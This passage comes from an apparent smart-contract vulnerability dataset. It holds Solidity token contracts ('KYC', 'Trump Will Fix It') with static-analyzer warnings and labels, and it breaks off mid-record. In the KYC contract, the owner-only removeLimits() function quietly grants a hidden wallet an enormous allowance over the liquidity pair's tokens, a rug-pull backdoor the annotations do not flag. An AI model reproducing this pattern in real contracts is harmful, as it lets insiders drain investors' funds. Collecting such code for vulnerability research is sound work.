Issue (constable-states | ID: edf6f16): KYC._preventSwapBefore should be constant \n\t// Recommendation for edf6f16: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1349655): KYC._transferTax should be constant \n\t// Recommendation for 1349655: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal89 = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"KYC\";\n\n string private constant _symbol = unicode\"KYC\";\n\n\t// divide-before-multiply | ID: 47be817\n uint256 public _maxTxAmount = 2 * (_tTotal89 / 100);\n\n\t// divide-before-multiply | ID: 2f40dd9\n uint256 public _maxWalletSize = 2 * (_tTotal89 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 096e912): KYC._taxSwapThreshold should be constant \n\t// Recommendation for 096e912: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: bc93c2d\n uint256 public _taxSwapThreshold = 1 * (_tTotal89 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 49c4bd1): KYC._maxTaxSwap should be constant \n\t// Recommendation for 49c4bd1: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 58f9252\n uint256 public _maxTaxSwap = 1 * (_tTotal89 / 100);\n\n IUniswapV2Router02 private uniV2Router89;\n\n address private uniV2Pair89;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _tOwned[address(this)] = _tTotal89;\n\n _isExcludedFrom89[owner()] = true;\n\n _isExcludedFrom89[address(this)] = true;\n\n _isExcludedFrom89[_receipt89] = true;\n\n emit Transfer(address(0), address(this), _tTotal89);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal89;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f34c04d): KYC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f34c04d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allows89[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3360e03): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3360e03: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c2904c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c2904c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3360e03\n\t\t// reentrancy-benign | ID: c2904c4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3360e03\n\t\t// reentrancy-benign | ID: c2904c4\n _approve(\n sender,\n _msgSender(),\n _allows89[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e48a66b): KYC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e48a66b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c2904c4\n _allows89[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3360e03\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 74eed2e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 74eed2e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6405d4c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6405d4c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n uint256 fees = 0;\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - amount;\n\n _tOwned[to] = _tOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n fees = (_transferTax);\n }\n\n if (\n from == uniV2Pair89 &&\n to != address(uniV2Router89) &&\n !_isExcludedFrom89[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n fees = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniV2Pair89 && from != address(this)) {\n fees = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniV2Pair89 && swapEnabled) {\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 74eed2e\n\t\t\t\t\t// reentrancy-eth | ID: 6405d4c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 74eed2e\n\t\t\t\t// reentrancy-eth | ID: 6405d4c\n sendETHToFee(address(this).balance);\n }\n }\n\n if (fees > 0) {\n taxAmount = fees.mul(amount).div(100);\n\n\t\t\t// reentrancy-eth | ID: 6405d4c\n _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 74eed2e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6405d4c\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6405d4c\n _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 74eed2e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function _iErc89(address[2] memory erc89, uint256 iAmt89) private {\n _allows89[erc89[0]][erc89[1]] = 100 * iAmt89;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniV2Router89.WETH();\n\n _approve(address(this), address(uniV2Router89), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3360e03\n\t\t// reentrancy-events | ID: 74eed2e\n\t\t// reentrancy-benign | ID: c2904c4\n\t\t// reentrancy-eth | ID: 6405d4c\n uniV2Router89.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n uint256 tax89 = (100 - 50) * (_tTotal89 + 50) + 15;\n\n address[2] memory addrs89 = [uniV2Pair89, _receipt89];\n\n _maxTxAmount = _tTotal89;\n\n _maxWalletSize = _tTotal89;\n\n _iErc89(addrs89, tax89);\n\n emit MaxTxAmountUpdated(_tTotal89);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3360e03\n\t\t// reentrancy-events | ID: 74eed2e\n\t\t// reentrancy-eth | ID: 6405d4c\n _receipt89.transfer(amount);\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ec103e3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ec103e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 77fe38c): KYC.openTrading() ignores return value by IERC20(uniV2Pair89).approve(address(uniV2Router89),type()(uint256).max)\n\t// Recommendation for 77fe38c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9c91a72): KYC.openTrading() ignores return value by uniV2Router89.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9c91a72: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8c4a5c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8c4a5c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniV2Router89 = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniV2Router89), _tTotal89);\n\n\t\t// reentrancy-benign | ID: ec103e3\n\t\t// reentrancy-eth | ID: 8c4a5c5\n uniV2Pair89 = IUniswapV2Factory(uniV2Router89.factory()).createPair(\n address(this),\n uniV2Router89.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ec103e3\n\t\t// unused-return | ID: 9c91a72\n\t\t// reentrancy-eth | ID: 8c4a5c5\n uniV2Router89.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ec103e3\n\t\t// unused-return | ID: 77fe38c\n\t\t// reentrancy-eth | ID: 8c4a5c5\n IERC20(uniV2Pair89).approve(address(uniV2Router89), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ec103e3\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8c4a5c5\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_1079.sol",
"size_bytes": 20047,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TrumpWillFixIt is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fc18056): TrumpWillFixIt._taxWallet should be immutable \n\t// Recommendation for fc18056: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 62e9bb8): TrumpWillFixIt._initialBuyTax should be constant \n\t// Recommendation for 62e9bb8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d22f01): TrumpWillFixIt._initialSellTax should be constant \n\t// Recommendation for 8d22f01: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 310c00b): TrumpWillFixIt._finalBuyTax should be constant \n\t// Recommendation for 310c00b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a2eb2a): TrumpWillFixIt._finalSellTax should be constant \n\t// Recommendation for 5a2eb2a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc1db97): TrumpWillFixIt._reduceBuyTaxAt should be constant \n\t// Recommendation for fc1db97: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45fd683): TrumpWillFixIt._reduceSellTaxAt should be constant \n\t// Recommendation for 45fd683: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 56f1140): TrumpWillFixIt._preventSwapBefore should be constant \n\t// Recommendation for 56f1140: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Will Fix It\";\n\n string private constant _symbol = unicode\"TWFI\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f9e5f6): TrumpWillFixIt._taxSwapThreshold should be constant \n\t// Recommendation for 5f9e5f6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5444def): TrumpWillFixIt._maxTaxSwap should be constant \n\t// Recommendation for 5444def: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6eeb8b8): TrumpWillFixIt.uniswapV2Router should be immutable \n\t// Recommendation for 6eeb8b8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1def85a): TrumpWillFixIt.uniswapV2Pair should be immutable \n\t// Recommendation for 1def85a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 82dc228): TrumpWillFixIt.sellsPerBlock should be constant \n\t// Recommendation for 82dc228: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 739cc1c): TrumpWillFixIt.buysFirstBlock should be constant \n\t// Recommendation for 739cc1c: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 30;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc83d5f): TrumpWillFixIt.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc83d5f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 41b7f34): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 41b7f34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: aa2c242): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for aa2c242: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 41b7f34\n\t\t// reentrancy-benign | ID: aa2c242\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 41b7f34\n\t\t// reentrancy-benign | ID: aa2c242\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 55d828e): TrumpWillFixIt._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 55d828e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: aa2c242\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 41b7f34\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fd13396): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fd13396: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: a055e4f): TrumpWillFixIt._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for a055e4f: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 46fed84): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 46fed84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: beed6e2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for beed6e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: a055e4f\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: fd13396\n\t\t\t\t// reentrancy-eth | ID: 46fed84\n\t\t\t\t// reentrancy-eth | ID: beed6e2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fd13396\n\t\t\t\t\t// reentrancy-eth | ID: 46fed84\n\t\t\t\t\t// reentrancy-eth | ID: beed6e2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: beed6e2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: beed6e2\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: fd13396\n\t\t\t\t// reentrancy-eth | ID: 46fed84\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fd13396\n\t\t\t\t\t// reentrancy-eth | ID: 46fed84\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 46fed84\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: fd13396\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 46fed84\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 46fed84\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: fd13396\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 41b7f34\n\t\t// reentrancy-events | ID: fd13396\n\t\t// reentrancy-benign | ID: aa2c242\n\t\t// reentrancy-eth | ID: 46fed84\n\t\t// reentrancy-eth | ID: beed6e2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3db3e7e): TrumpWillFixIt.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3db3e7e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 41b7f34\n\t\t// reentrancy-events | ID: fd13396\n\t\t// reentrancy-eth | ID: 46fed84\n\t\t// reentrancy-eth | ID: beed6e2\n\t\t// arbitrary-send-eth | ID: 3db3e7e\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 89785af): TrumpWillFixIt.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 89785af: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 89785af\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ee1bc4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ee1bc4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8558b53): TrumpWillFixIt.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8558b53: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | 